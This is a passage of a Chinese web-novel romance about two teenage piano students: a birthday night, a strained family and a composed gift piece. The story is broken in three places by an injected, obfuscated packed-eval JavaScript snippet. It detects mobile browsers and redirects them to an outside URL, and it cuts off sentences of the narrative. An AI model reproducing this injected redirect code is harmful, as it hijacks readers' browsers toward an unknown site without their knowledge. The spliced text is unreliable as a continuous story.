梁初灵立刻愤愤地反驳:“谁要在车上吃了!我又不是那么没素质的人好吧!” 李寻点点头:“嘿,真棒啊!小天才。” 梁初灵:“……” 拳头硬了。 前排的司机叔听到她俩的对话,没忍住哈哈大笑起来:“年轻人,感情真好哈!” 梁初灵脸一红,扭过头看窗外。 李寻则平静无波。 李寻一路把梁初灵抱回放在客厅沙发上,屋里有供暖,热乎乎的。 在梁初灵强硬要求要抱一下李寻、并且确实抱起来了几秒钟后,梁初灵仰着脖子骄傲撅嘴,而李寻开始怀疑是不是烧傻了。 他去找了双新的毛线袜,放在贴墙的暖气片上烘着。 还是有点不放心,拿了个电子体温计给梁初灵量了一下,确定了没发烧。 “李炽老师呢?”梁初灵问。 “她去上海了,明天回。”李寻一边干活一边回她。 梁初灵这才后知后觉有点不自在。 到了这里,脱离了刚才那种混乱冲动的情绪,她开始感到尴尬。 自己身体上好像确实没生病…… 她不是骗人,那会人的确以为自己是生病了。怎么这么不争气呢,她有点怨自己的身体。 尴尬到有点委屈。 现在人见到了,地方也来了,接下来她总不能一直赖在这里。 摸了摸口袋,手机在,身份证没带。 正纠结着,是现在就说告辞,然后拜托李寻用他的身份证帮忙在附近找个酒店开间房,还是…… 她的手机屏幕亮了,是微信新消息。 点开一看,发信人是旁边的李寻。 他发来了一张照片。看角度是刚才在车上偷偷拍的。 照片里,她窝在车座角落。 因为踹了树的那只脚很痛,不论怎么摆、只要着地了就都难受,又没力气一直保持不着地。 李寻发现了,索性把她的右腿架在了自己左腿上,不让脚着地。 梁初灵的左腿盘着。 手里拿着冰糖葫芦,表情有点放空,姿态十分豪迈。 李寻配的文字是:天凉王破。 梁初灵盯着那张照片和那四个字,气得牙痒,尴尬被怒火取代。 瞪旁边假装无事发生低头看自己手机的李寻,准备跟他好好理论理论。 在她张口欲言时,一条新消息顶上来。 是妈女士的消息:妈妈永远爱你。 —— 在梁初灵踩着李寻的鞋面,被他半蹲着脱掉鞋的同一时刻,她家别墅里,另一场戏码刚刚落幕。 梁父在房间里踱了两圈,终于忍不住,对着敷面膜的妻子发问:“初灵这么晚了,真去同学家了?” 妈女士闭着眼:“嗯哼。” “哪个同学?男的女的?住哪儿?父母是做什么的?这大晚上的,一个女孩子家,不安全。你心里怎么没谱啊?这么管教小孩的吗?” 妈女士借着面膜遮挡神色,膜布底下的脸上全是厌烦。 她翻了个白眼,语气是罕见的直接:“梁老板,在该关心的事情上不见你多问一句,这种鸡毛蒜皮的破事上你倒有八百个问题。闲的。” 梁父被噎得一口气没上来,脸瞬间沉下来:“你这话是什么意思?我关心女儿还有错了?” 妈女士看着他这副色厉内荏的样子,心里是怜悯的好笑。 只好又换回那种黏黏糊糊的调调:“我能有什么意思嘛!” 她站起身走到梁父身边,手臂缠上他胳膊,轻轻摇晃,“我的意思是,咱们女儿你还不了解?她心里除了钢琴还有别的吗?肯定是去李炽老师那儿了呗!李老师家你不是知道吗?咱们女儿啊,以后是要当大艺术家的,咱们得多理解多支持,对不对?” 她三言两语,就把梁初灵的去向编得合情合理,还顺手给梁父戴高帽。 梁父被她这么一哄一摇,刚才那点火气也没了。 哼了一声,脸色缓和下来,被顺毛了当然心情舒畅:“也是,李炽老师那儿是正经地方。” 妈女士又悄悄翻了个白眼,脸上笑容甜美:“就是嘛。所以啊,你就别瞎操心了,快去洗个热水澡放松放松,今天累了吧?” 哄男人,有时候跟哄一条狗差不多。 妈女士熟练掌握着这门技巧。 等到梁父的身影消失在浴室,妈女士走到落地窗前,看着窗外飘洒的细雪,沉默地站了一会儿。 想象着女儿可能在酒店里,可能在某个同学家里,也可能在琴房在游戏厅甚至在网吧在酒吧。 无法干涉,或者说其实妈女士也并不想干涉。 要发泄或是要享受,都可以。 她并不掌握如何经营母女关系。 刚刚结束与丈夫的虚伪周旋,她需要确认自己还是个母亲。 发下那句话,好像首先是为了说服自己。 无论我的婚姻多么不堪,我个人生活如何,我作为母亲的爱是没有改变的。 她心知肚明,梁初灵刚才目睹了不堪的两幕:父亲的出轨物证,以及母亲手机里来自情人的信息。 妈女士无法解释也无法改变这个事实。 只能选择用一句最正确的话来弥补裂缝。 在此之前,她和梁初灵达成了脆弱的共识:不管大人如何,你要向前飞。 在此之后,她要重申这个联盟。 你看,妈妈这里永远是你可以依靠的港湾,所以不要因为刚才那些破事影响你自己。 潜台词是:事情就是这样了,我们不要再深究了,你只要记住妈妈爱你就可以了。 所以她也不深究梁初灵今晚究竟去了哪里。 于是妈女士无论如何也想不到,那句对女儿的真安抚,此刻正显示在对梁父的假安抚中。 信息的抵达,与现实的场景,是一场讽刺的错位。 错位之中,梁初灵的手指僵住。 李寻的照片带来的气恼消失,取而代之的是一种茫然和陌生。 闹剧被重新拽回她眼前。 妈妈永远爱你这句本应最真实的话,却从一个刚刚也参与了这场虚伪游戏的人口中说出。 它听起来不再像是一种保证,反而像是对爱这个字眼的讽刺。 梁初灵分不清这句话里,有多少是真心,有多少是表演。 这句话带着重量。似乎在说:我都这样爱你了,你就不要再追究不要再难过,应该懂事地翻篇了。 她无法理直气壮地继续愤怒悲伤,因为妈妈已经祭出了永远爱你这面旗。 她对那个家感到陌生,对父母扮演的角色感到陌生,在此刻,在李寻身边,也产生了一种漂浮不定的陌生感。 你无处可逃,你仍然是那个家庭的女儿,你仍然要面对这一切。 梁初灵的世界非黑即白。她追求极致。 十六年来她与家庭作伴,家庭满足她的要求、需求、欲求,她也愿意为家庭争光。 结果家庭其实不复存在,是个伪命题。 父亲的爱是假的,母亲的爱是与谎言共存的。 也就后知后觉想明白,对啊,家庭里甚至不得见家人,往往只有梁初灵自己。没有家人,那何来家庭? 那么,爱到底是什么? 她捏着手机一时不知该如何是好。 慌乱源于她的清醒。 她不再是那个可以被一句甜言蜜语糊弄过去的小孩。 她意识到自己的很多权利都即将被“爱”所剥夺。 世界好像被这场大雪分割成了无数个碎片,她站在碎片中央,不知道哪一片才是真实的,也不知道自己到底该属于哪里。 —— 李寻则吓一跳,以为梁初灵真被自己惹生气。 生了这么大的气,鲜活怒气都消失,气得只剩怔忪? 他有点懊恼,觉得自己手欠。 去厨房切切拌拌,李寻端了一大碗水果捞出来,准备赔罪。 李寻语气带着试探的小心:“我错了,别生气了。吃点水果捞?” 梁初灵被他的声音拉回现实,有点没反应过来他在说什么,只能聚焦于眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李寻走过去,看了一眼碗底,点点头:“真棒。知道挑有营养的吃。” 然后把碗拿走,进了厨房,传来哗哗的水声。 梁初灵被他这没头没脑的夸奖弄得一愣,眨眨眼,心里嘀咕这有什么好棒的? 甚至怀疑他是不是在讽刺她挑食。 梁初灵打开电视找节目看。 她很少看电视,家里的电视基本就是个装饰品。 此刻也只是因为不知道该干什么。 李寻弄完出来,在她旁边的沙发上坐下:“真厉害,还知道自己找电视看。” 梁初灵转过头:“你没事吧?” 李寻无辜:“怎么了?夸你也不行?” 梁初灵被他这副样子搞得没脾气,扭回头,继续按遥控器。 翻了一圈没什么想看的,最后停在了一个正在放旧港产的频道。 电影里,穿着旗袍的女人幽幽飘过走廊,背景音乐阴森。 梁初灵其实有点怕,但强装镇定,还把音量调大了一点。 李寻在回李炽的消息,他跟李炽说了一声今晚梁初灵来家里住一晚。 李炽也懒得问“因”,只说果:“都别熬夜啊,不然我抽你们。你自己点个蛋糕跟她一块儿吃。” 回完,看了看屏幕,又看了看正襟危坐的梁初灵,又夸了一句:“胆子真大。” 梁初灵梗着脖子:“本来就不怕!” “嗯不怕。”李寻从善如流地点头,“敢在雪夜看鬼片,勇气可嘉。” 梁初灵被他这话说得心里毛毛的,抓起旁边的抱枕搂怀里。 电影进入一个平缓的段落。 梁初灵感觉有点口渴,伸手去拿茶几上的水,结果手心有点汗,没拿稳,瓶子掉在地毯上,滚到李寻脚边。 李寻捡起拧开瓶盖再递给她:“真厉害呀小天才,一挑就挑了瓶最好喝的。” 梁初灵没好气:“李寻,你够了啊!” “怎么了?夸你还不高兴?” “你这是夸吗?你这是阴阳怪气。”梁初灵恶狠狠。 “冤枉。作为天才就能冤枉我等平民吗?真是的。”李寻靠在一侧扶手上,有点懒洋洋的。 确实有点累,今天白天忙了一天,晚上又来了这么密度高的一出,他又实在不是什么高经理人群。 此刻困得不行,但想也不可能丢下梁初灵自己去睡觉—— 想到这儿,清醒了,不困了。 小天才真是包治百病的神医啊。 梁初灵被他这一本正经气得想笑,抓起抱枕就朝他扔。 李寻轻松接住抱枕,抱在怀里:“看,还会精准投掷。运动神经也不错。” “李寻!”她忍不住喊他名字。 “在呢。”他应得太自然。 李寻看着她气急败坏又有点不好意思的样子,觉得有趣。 发现自己好像找到了能让她从那种低落里脱离出来的方法。 怎么会,自己怎么会如此了解她,李寻自己都乍舌。 梁初灵彻底没脾气,瘫回沙发里,自暴自弃:“行,你夸,你继续夸吧。!” 给李寻乐得不行。 梁初灵觉得坐着不舒服,换了个姿势,把脚缩到沙发上。 李寻:“盘腿盘得很标准。真棒。” 梁初灵无聊地用手指卷头发。 李寻:“手指很灵活,适合弹琴。真棒。” 梁初灵打了个哈欠。 李寻:“这一嘴牙嘿,真整齐。真棒。” 梁初灵终于忍不住,抓起另一个抱枕捂住自己的脸:“李寻,你再夸一句我就要走了。” 抱枕遮住她的眼,她却能看到另一幅画面—— 一开始梁初灵想着是不是自己没生病就没法呆下去,结果李寻从头到尾一句话没多问,只是去换了自己房间的四件套。 梁初灵不想骗人:“李寻,我没生病,但我真不是故意骗你的。我以为我生病了。”她有点尴尬。 李寻那会正在换被套,抖了抖蓬松的被子,侧过头看了她一眼,表情难得的破功,是无语。 确实无语,没生病不是更好吗?怎么还找病生? 但也能琢磨出来她心里在想什么。 “生病了可以找我,没生病可以随时找我。”李寻加重了“随时”两个字的音。 钢琴谱中,重音符号是一个倒过来的四分音符再顶着一个大于号。 代表强调。 李寻此刻感觉这个大于号横亘在梁初灵和他之间。 梁初灵>李寻。 至少李寻心里是这样想的。 “但是我有点不好意思……我没生病,你却又因为我要去书房睡。”梁初灵面对李寻真是懒得内耗,会因此而感到不好意思,也要明晃晃亮出来,让李寻为她排忧解难消化掉。 “忘了告诉你,我今天生日来着。你要是今晚走了我肯定放不下心,你也不想我在生日的当天不高兴吧?”李寻还是慢悠悠的,又把枕套给套好,再好整以暇看着她。 今天是12月31号,是李寻的生日,这不是骗人。 “啊!你怎么不早说!我什么都没准备!”梁初灵急得开始原地踏步。 “没事的,我不过生日的。真的,你看我妈不是也没回来吗。你要是实在过意不去,今晚就早点睡。” —— 梁初灵依旧把自己闷在抱枕里,李寻看着她耳根都红了,知道不能再逗,见好就收。 他忍着笑,重新拿起手机准备看看谱:“好,不夸了。” 客厅里安静下来,只剩下电视的背景音,和窗外的落雪声。 温暖的灯光笼罩两人,一个假装看谱,一个把脸埋在抱枕里装死。 9. 《降A大调波兰舞曲“英雄”》 那晚她们最终还是熬了夜。 没再继续看恐怖片,时间在有一搭没一搭的闲聊和听一些奇奇怪怪的钢琴曲里溜走。 梁初灵一直拿着手机,屏幕的光映着她的脸,在十一点五十九分五十秒的时候,她突然开口:“李寻,生日快乐。我是最后一个跟你说生日快乐的人。”语气带着点小得意,“我也肯定会给你补上生日礼物的,不管你过不过生日。我跟别人不一样!” 李寻正靠在沙发另一边,闻言转过头来看她。 阳台关了门但是没拉窗帘,一定是过了十二点,有人放起了烟花,遥远的爆炸的没有规律的光晕,给他侧脸一层层一遍遍镀光边。 梁初灵一直在看,她十六岁才认识十六岁的李寻,却错觉此刻在那张脸上,看到了曾经的李寻。 模糊却有情,璀璨却熄灭的迅速。 李寻笑了笑,是那种眼尾也跟着下撇的笑:“元旦快乐。我是第一个祝你元旦快乐的人。” 又传来零星的烟花炸响,这一回更远,隔着高楼和距离并不真切。 砰砰乓乓,热闹得像一场遥远的战争。 不管是远还是近,都没人提议去看看,她们两个都坐着没动。 过了一会儿,烟花声歇,李寻像是才处理完梁初灵话语的后半段,又轻轻补充:“当然。你跟别人不一样。” 这句话落下,梁初灵感觉自己的心也像烟花般鼓噪。 —— 第二天是元旦假期,按理说是放假。 但李炽回来了,一个电话打过来,通知加课。 两人一起出现在琴房时,李炽扫了她们一眼,没说什么,先一人后背上抽了一巴掌,然后进入教学状态。 李寻先弹。 技术上他依旧比不上梁初灵的精准和辉煌,每个音符都带着斟酌感。 但当他沉浸进去时,对音乐线条的把握,对情绪的铺陈,就像他那些手稿里的旋律一样,自然而然地流淌。 他弹得不是正确乐曲,而是李寻理解中的乐曲,带着他特有的温柔。 梁初灵坐在旁边听,心里很喜欢。 她觉得李寻手指下的音符,像那天晚上在亭子里她呵出的一团团白气,形状不固定,是一轮轮无依无靠的风景。吹过,还能再来。 人跟人也是通过这样交换风景而熟悉,梁初灵觉得自己在一点点更熟悉李寻,迈过,还能再遇。 轮到梁初灵。 她弹的是《降A大调波兰舞曲“英雄”》 这首曲子素以气势磅礴、辉煌壮丽著称,是肖邦笔下对民族英雄的礼赞,充满了不屈的斗志和贵族式的华彩。 然而今天从她指尖流淌出的《英雄》却不同。 标准的英雄登场,力量感依旧在,砸得坚定沉稳,华丽的经过句清晰如珠玉。 但在这片庄严与辉煌之下,李炽和李寻都清晰地听到了一种无端的孤单。 那英雄不是意气风发,主动选择踏上征途的,而是在命运的洪流里,被无形的手推到了那个位置。她没有退路,背后是悬崖,身前是千军万马。所以她的步伐坚定,每一步都踩着自己的影子和某些被舍弃的东西。 于是那英雄的伟岸形象背后,不再是一往无前的豪情,而是一种被命运推着所以别无选择的承担。 她的旋律里带着哀切,不是软弱,而是清醒认识到前路艰险后的那一点悲伤。 奇妙的是,这孤单和哀切,非但没有削弱曲子的力量,反而让它更加震撼。 因为她表达的英雄,哀切却没有退。 因为知道代价,所以前进的姿态才更显决绝。 即使孤独,即使背负着沉重的宿命,那前进的脚步没有犹豫,华丽的战袍下是咬紧的牙关和绝不回头的决绝。 这不是属于肖邦那个时代的集体的英雄主义,这是属于梁初灵的,一个人的、被动的英雄之路。 她选择了这条艰难的路,或许并非初衷,但她站上去了,就没有想过下来。 一曲终了,李炽看着梁初灵,不吝啬赞许。“非常好!” 李寻没有说话,只是看着梁初灵,眼神很清,可以飘起,如那一团团白汽,他也在与梁初灵交换风景。他如今也换到了。 下课后,李炽把李寻叫到一边。 “最近状态不错。练琴比以前投入很多。是真的打算走这条路了?” 李寻点点头,嗯了一声。 李炽太敏锐了,搞艺术的人不可能不敏锐。她看着儿子,直接问:“是为了梁初灵吗?” 李寻再次点头。坦诚得让人意外。 李炽脸上露出笑容,了然:“真不容易。” 不知道是指他肯努力了,还是指他肯承认了。 伸手捏了捏李寻的脸颊,“那你要好好加油。梁初灵以后会很厉害的,你别被甩太远。” 李寻再次点头,任由母亲捏着他的脸,眼神明亮。 是一种母子之间无需多言的熟稔,他知道妈妈懂,妈妈也知道他懂。 那晚的收留与被收留,梁初灵原本以为,会是自己对李寻单方面的依赖加深。毕竟她见识了自己家的不堪,也在他面前露出了少有的狼狈。 但事情的发展有点出乎她的意料。 原本是梁初灵像只找不到巢穴的小鸟,总是往李寻这片平静的树林里飞。现在,李寻似乎主动调整了他的坐标。 李寻和梁初灵得学校隔得很近,两个学校之间有一条小吃街,偶尔中午大家不在食堂吃饭的时候就会去街上吃。 中午,李寻和几个同学一起溜达到这儿,街上学生笑闹声不绝于耳。 李寻正听着旁边男生争论是吃涮羊肉还是川菜,目光却看到旁边一家卖煲仔饭的店、准确来说是看见了店里的梁初灵。 她和一个女同学坐在靠窗的位置,正眉飞色舞地讲着什么,面前摆着吃了一半的煲仔饭。 阳光很好,她的头发丝都在发光。 李寻对同伴说了句“要不吃煲仔饭吧”,同伴没意见,一起走向了那家店。 他没有进去打扰,坐在了对角线的位置。 梁初灵讲得投入,舀起一勺看也没看就送进嘴里,下一秒脸色就变。 李寻看得分明,她吃到了一块青椒。 梁初灵左右张望,这家店的环境一般,她没找到卫生纸,也没找到垃圾桶,邻桌也没有。 就这么犹豫挣扎间,李寻看着她硬生生把青椒咽了下去。 她的同学正好在系自己身后的蝴蝶结,也就没注意到这个插曲。 但李寻清清楚楚地看到了她所有的表情和挣扎。 不知道为什么,他突然心疼。 一种贴近胸腔左侧的酸涩。 明明只是讨厌吃青椒这样一件小事,可她刚才那一瞬间的窘迫,和最终的无奈,让他觉得很不是滋味。 吃完后李寻走向旁边一家饮品店。 梁初灵和同学说说笑笑,往学校方向走去。 刚走到校门口,她的手机响了。 是李寻。 “喂?”梁初灵接起电话。 “你在哪儿?” “在校门口啊,怎么了?” “正好我在小吃街吃饭,正好奶茶买一送一,我喝不完。正好路过你们学校,你在校门口的话,也正好给你。” 这么多正好。 “啊?这么好!你在哪儿呢?我没看见你啊。” “转身。” 梁初灵握着手机转过身,果然看到李寻走了过来,手里提着三杯饮料。 他走到她面前,将其中一杯热抹茶递给她,然后又把另一杯包装不一样的奶茶递向梁初灵的同学。 “顺便多买了一杯,不介意的话。”李寻对那位有些惊讶的同学说道。 同学连忙接过:“谢谢谢谢!太客气了!” 梁初灵看看自己手里的抹茶:“谢啦!”晃了晃手里的杯子,笑容灿烂。 “下午还要练琴吗?”李寻问。 “要啊,我现在状态满满!” “那就好。”李寻点点头,“我先回学校了。” “拜拜!” 看着李寻走远,同学忍不住用手肘碰碰她:“可以啊梁初灵,这哪位啊?” 梁初灵咬着吸管:“就是一个朋友嘛!” 自那杯买一送一之后,李寻出现在梁初灵学校附近的频率,就变成了经常。 第一次李寻发信息问“吃饭了吗”时,梁初灵还以为他只是随口一问,结果他下一句就是:“我在你学校门口。” 梁初灵跑出去时,就看到他站在冬日的阳光里。 “你怎么来了?”她问 “找不到人和我一起吃饭,我太可怜了,小天才帮帮我吧。” 梁初灵的确无法拒绝…… 后来索性两个人就一起吃午饭。 有时候在外面吃,有时候在食堂里吃。 李寻的学校是国际学校,食堂比附中的好吃了不止一点,梁初灵太好奇也太馋,有时会过去蹭饭。 大多时候是梁初灵在叽叽喳喳,李寻话不多。梁初灵分享练琴的进展,李寻就安静听,偶尔在她讲得眉飞色舞时,指一指她的饭示意她吃两口再继续讲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730785|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 跟李寻吃饭有很多好处。 比如李寻会把她不爱吃的青椒夹走;会在她滔滔不绝吐槽李炽变态的指法要求时,递过来一张纸巾让她擦擦溅出来的汤;会提前帮她把瓶盖拧开。 梁初灵喜欢吃辣,但吃多了又容易呛到。 每次点麻辣香锅,李寻就开始挑里面的花椒,等她酣畅淋漓吃完,才发现自己碗里几乎没遇到地雷。 有一次,梁初灵盯着酸辣粉想吃,又摸着额头新冒出来的痘痘犹豫不决。 李寻回来时,手里端着一碗馄饨,和只有两三口分量的酸辣粉。 “尝尝味道就行。”他把小碗推过去。 梁初灵从一开始的不习惯,到发现自己开始期待中午。 —— 家里,妈女士这次回国,在家里待的时间出乎意料的长。 回来了一个多月,除了逛街,以及和她那些太阳、月亮图标的朋友们约会,竟然没再安排长途旅行。 家里大部分时间,依旧是梁初灵和张姨,但多了妈女士时不时咋咋呼呼的存在,以及她那些塞满客厅的购物袋,也是冲淡了不少以往的清冷。 梁父没什么心理压力,那晚之后没再回来过。梁初灵和妈女士乐得清静。 —— 上一次上课,梁初灵弹完一首练习曲,李炽点了点头:“最近状态不错,感情来得很充沛很戏剧啊。出什么事了?” 梁初灵心里炸开了烟花! 但还是如实说:“没出什么事,我以前自己给自己弹的时候就挺充满感情、挺造作的,就是面对你会有点紧张!现在只是不再紧张。” 李炽笑得偏过头,也能理解,她也有过这样的时候。 下课出来,她迫不及待要跟李寻再说一遍:“你听到了吧,李炽老师说我状态不错!你听到没有呀?” 李寻也忍不住笑:“听到了听到了。两只耳朵都听到了。” 这是梁初灵发现的一个关于李寻的玄学现象。 来源是每天晚上吃完饭后,李寻会找梁初灵聊会儿天。 有时是打字,有时是语音,偶尔还会视频。 视频时,李寻那边通常是他的房间。 聊的内容也没什么特别,有时甚至不说话,就开着视频各干各的,梁初灵翻谱子,李寻写作业,只能听到彼此那边的声响。 神奇的是,每次聊完梁初灵再去琴房练琴,状态总会出奇地好。那些抓不住的情感层次,都能变得清晰。 她以前就跟李寻讲过,自己一个人的时候弹曲子比弹给别人听的时候要好很多,不知道怎么改善。 李寻也给不出什么好办法。 但是没关系,这不是,梁初灵自己就找到了解决办法。 好像跟李寻聊天的过程,无形中疏通了她和音乐之间的某种通道,也让她面对老师时能放得更开。 太神奇。 并不是无中生有,而是由一开始担忧自己不会表达的烦躁,到坚信自己能表达出来的高歌猛进。 需要的,是那样一点点玄学。 于是下课后,梁初灵跟在李寻身边,蹦跶着往外走,“太神奇了!李寻你是不是会什么魔法?怎么每次跟你聊完,我弹琴就跟开了光一样。” 李寻侧头看她:“可能我自带增益buff?” “对,就是buff!”梁初灵点头,发现了什么了不起的真理,“以后你就是我的幸运物。” “得,您说了算。” 那可不就得拿李寻当玄学使? 感觉手感不对的时候,她就给李寻发消息:“紧急!聊个五毛钱的。” 李寻那边通常都会很快回复。有时是“加油”,有时是分享一首他正在听的曲子,有时只是一个表情包。 真的屡试不爽。 一次表演之前,她有点忐忑,小鱼际很酸,小拇指也有点用不上力。二话没说给李寻发消息:“玄学玄学!速来!” 李寻直接拨了视频过来。屏幕那头的他好像刚运动完,穿着运动服,背景是操场。 “干嘛?”梁初灵看着他那样子,愣了一下。 “不是要玄学吗?”李寻气息还有点不稳,他对着镜头,做了个深呼吸的动作,“跟着做。吸气——呼气——” 梁初灵跟着他的节奏做了几个来回,感觉自己砰砰乱跳的心脏确实平复了不少。 “好了,”李寻在屏幕那头说,“去吧。弹错也没关系。” 就这么简单一句话,梁初灵那天发挥得很稳定。 因为她愤怒大喊:“我怎么可能会弹不好?!你搞笑呢吧!” 10. 《幻想波兰舞曲》 年过得十几天如一日。 大年三十晚上,妈女士回了自己房间和太阳月亮们打电话,梁父吃完年夜饭后有事就出了门。 烟花在窗外炸开的时候,梁初灵正和李寻挂着语音。 李炽带着李寻去了国外过年。 梁初灵给李炽老师发完新年快乐后,李寻的微信电话就打了过来。 “你在干嘛?”梁初灵百无聊赖地问。 “看书。”李寻的声音穿过大洋彼岸。 “什么书?” “科普书。” “哦。”梁初灵对科普兴趣不大,“张姨回家过年了,这几天我跟我妈外卖都快吃吐了。” “嗯。”李寻问,“你以前过年最喜欢吃什么?” “我姥姥做的炸藕盒!可惜我姥姥后来去世了没人给我做了。张姨做的嘛总差那么点意思。好像很多东西都是以前的好。” 最后这句话应该是带着沉闷的,结果梁初灵说完后才反应过来自己说了一句多么有哲理的话,一时之间被自己的文采震惊! 立刻摸了根笔出来记录,她最近在培养自己的创作思路,一点灵感都不放过。 一边记录还要一边说:“我的妈呀,我现在也太有文化了!” 李寻点点头,又想起来她看不见,换成口头夸奖:“不愧是小天才,太厉害了。”夸完又哄着她多说一点,“还有什么东西是以前的比较好?” 他发现,询问梁初灵的过去,比询问她的现在更容易得到丰富的答案。 她的现在被钢琴、比赛、课程填得太满。 而童年和过往,则散落在时间的角落,色彩更鲜明,也更容易被拾起。他近乎贪婪地想要了解,想知道是怎样的瞬间塑造了现在的她。 李寻看着她,旧话重提,但换了一种方式:“你第一次摸到琴键,是什么感觉?” 梁初灵没再用用“我妈前男友”的玩笑话搪塞。 “按下去,声音跑出来。觉得好神奇,是我在命令声音。” “命令?”李寻重复这个词。 “对!你不觉得吗?八十八键各司其职。而弹琴的人就是将军。” 李寻遗憾现在是通话而不是视频,见过她炫技时的得意,也见过她瓶颈的焦躁,但此刻,却未能见到她的表情。 但他想,这就是源头了—— 支撑着她日复一日枯燥练习的,不仅仅是天赋和好胜心,也是这种对掌控的渴望。 他觉得自己像个偷窥者,不满足于知晓她的现在,更想潜入那些他未曾参与的过往。 想知道她童年哭泣的缘由,想体验她曾有过的所有感受,想读懂她每一个举动下的隐喻,想弄明白她每一声叹息里的难过。 然后,失落便会蔓延—— 为什么这些时刻,我没有陪在你身边? 梁初灵说得口干舌燥后就被李寻催着去喝水,然后两人都没再说话,却也都没挂。背景音里是电视和彼此的呼吸。 好像某种默契,她们共同把这个本该团圆的节日,过成了一段平行的的陪伴。 观察得越多,好奇心越重,想要靠近的欲望就越难以抑制。想要靠近、想要填补所有时间空白。 年后的北京寒意未消,但风中夹杂了属于春天的湿润。 这天是周三,两人照旧在李炽这里上课。 李炽嫌北京空气不好,在客厅桌子上放了台小风扇用来辅助换气。 梁初灵练琴练得痛快,出来后随手把橡皮筋扯下来,长发披散开,有些汗湿的发黏在脸颊边。她胡乱地用手拨弄,反而更乱。 李寻正在和她相向而行,伸出手,想帮她把发丝理顺。 碰到之前,两人都毫无所觉,李寻没停顿,梁初灵没拒绝。 碰到之后,两个人双双愣住,李寻没收手,梁初灵没偏头。 李寻的手向上,只轻轻拂开她肩头一绺与皮肤无关的发丝:“头发乱了。” “哦。”梁初灵自己又把头发扎起来。 那一刻,李寻清晰意识到,他想触碰的不仅仅是头发。 他想弄明白,为什么她出汗的样子也这么生机勃勃,为什么她烦躁时的表情都显得可爱,为什么她让他移不开视线。 他想完完全全看到她,完整的生动的梁初灵。 李寻给她点好了果切,只有哈密瓜。 梁初灵一边记笔记一边吃,李寻忽然问:“为什么是哈密瓜?” 梁初灵被问得一愣,叉着瓜的手停在半空:“什么为什么?因为它甜啊。” “苹果也甜。” “苹果很无聊。” “芒果无聊吗?” “芒果像需要人扶着过马路的老奶奶。”梁初灵理直气壮。 李寻没再问,点了点头:“你喜欢口感明确的东西?” 就像她弹琴,喜欢技术目标清晰攻克后成就感强烈的曲子。 梁初灵听不懂,反过来问他:“你呢?你喜欢吃什么水果?” 李寻想了想,说:“橙子。” “为什么?” “剥开的过程很有意思。结构清晰,一瓣一瓣,需要点耐心,但回报是饱满的果肉和香气。” “我还以为会是草莓。你总喜欢买草莓味的东西。” “对,”李寻点点头,“我喜欢草莓味,但是我对草莓过敏。” 梁初灵目瞪口呆,觉得这好哲学,有点超过了自己的知识水平,得等自己研究研究再聊这个话题。 上完课,梁初灵却没像往常一样收拾东西,她磨磨蹭蹭,去自己书包里抠索了半天,终于掏出一个仔细包裹的东西。 她把东西塞到李寻手里,眼睛看着窗外光秃秃的树枝:“生日礼物。拖得是有点久哈,不好意思……主要是不太好弄。” 李寻低头看着手里的东西。 包裹得很用心,还用丝带系了个结。 解开丝带,里面是一份装帧起来的乐谱。 最上面,是手写的标题——《寻》 李寻的目光在那个字上不敢置信地看。 “我觉得这个字挺好。是代表你名字,也代表我找了挺久灵感!我觉得音乐有时候就像在找人,找那种,额……我不太会说话,你自己悟一下吧!” 她越说声音越小,觉得自己解释得一塌糊涂。梁初灵很紧张,她根本不擅长创作啊!可是不擅长创作的自己,还是绞尽脑汁开始披荆斩棘,想到这,她又不觉骄傲起来。 李寻抬起眼看向她。她眼神飘忽,骄傲是骄傲,还是不敢看他。 这是一首钢琴小品,篇幅不长,结构简单。 开头的旋律是迟疑的探寻,像清晨林间小心翼翼的脚步。和声温暖,铺在旋律下方,是一片柔软的土壤。 在这片温暖和宁静中,会嵌入一两个温柔的不和谐音。 它们没有破坏整体的和谐,但很有特点,不知道是会带来惊喜还是惊吓。 让他想起她曾经莫名其妙说过的那句:“李寻,你好像这洼水啊。” 李寻在中段听到了一个熟悉的动机。 是他那首不小心掉进钢琴底下的手稿里的一个简短旋律。 梁初灵把它捕捉到,并且用她自己的方式进行了变奏和发展,让它融入了这片属于她的温暖探寻的音乐风景。用她明亮的方式重新诠释,从他的水中,舀起一瓢,折射出她的颜色。 她也用音乐,完成了一场无人知晓的回应和对话。 这确实是一首关于寻的乐曲。她在用她的语言描绘她所“寻”到的他,平静,温暖,内里藏着波澜,而那波澜,在她看来,也是温柔的一部分。 李寻看了很久,久到梁初灵开始怀疑自己是不是写得实在太烂,他不好意思批评。 下午的阳光透过窗纱再照射到桌上,显得软绵绵的,在桌子上流淌了下来。阳光违背规则从地板往上流,溅满李寻一身,也在他的锁骨处盛了一抔,像梁初灵早上喝的橙汁。 李寻低着头,梁初灵莫名其妙把右手虚环成杯状,独自与李寻干了个杯。 风扇不对着人,开得也是最低速,声音一滑一滑,像水面上的船,无力而有序地拍打,永不会乘风破浪。 终于,李寻看向依旧处于高度戒备状态的梁初灵。 梁初灵看着李寻的眼睛,也漾在阳光里,显得有几分盲目。 她仔细看,才觉得李寻确实比自己要大五个月。 李寻问了一个完全不相干的问题:“你知道今天是2月14号吗?” 梁初灵愣住。 脸上的红以很快的速度蔓延,她惊恐的抓起手机,居然真的是2月14日。 “我不知道!我真不知道!”她几乎是跳了起来,“我就是觉得曲子终于改得差不多了,今天上课正好给你。我发誓!李寻你相信我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 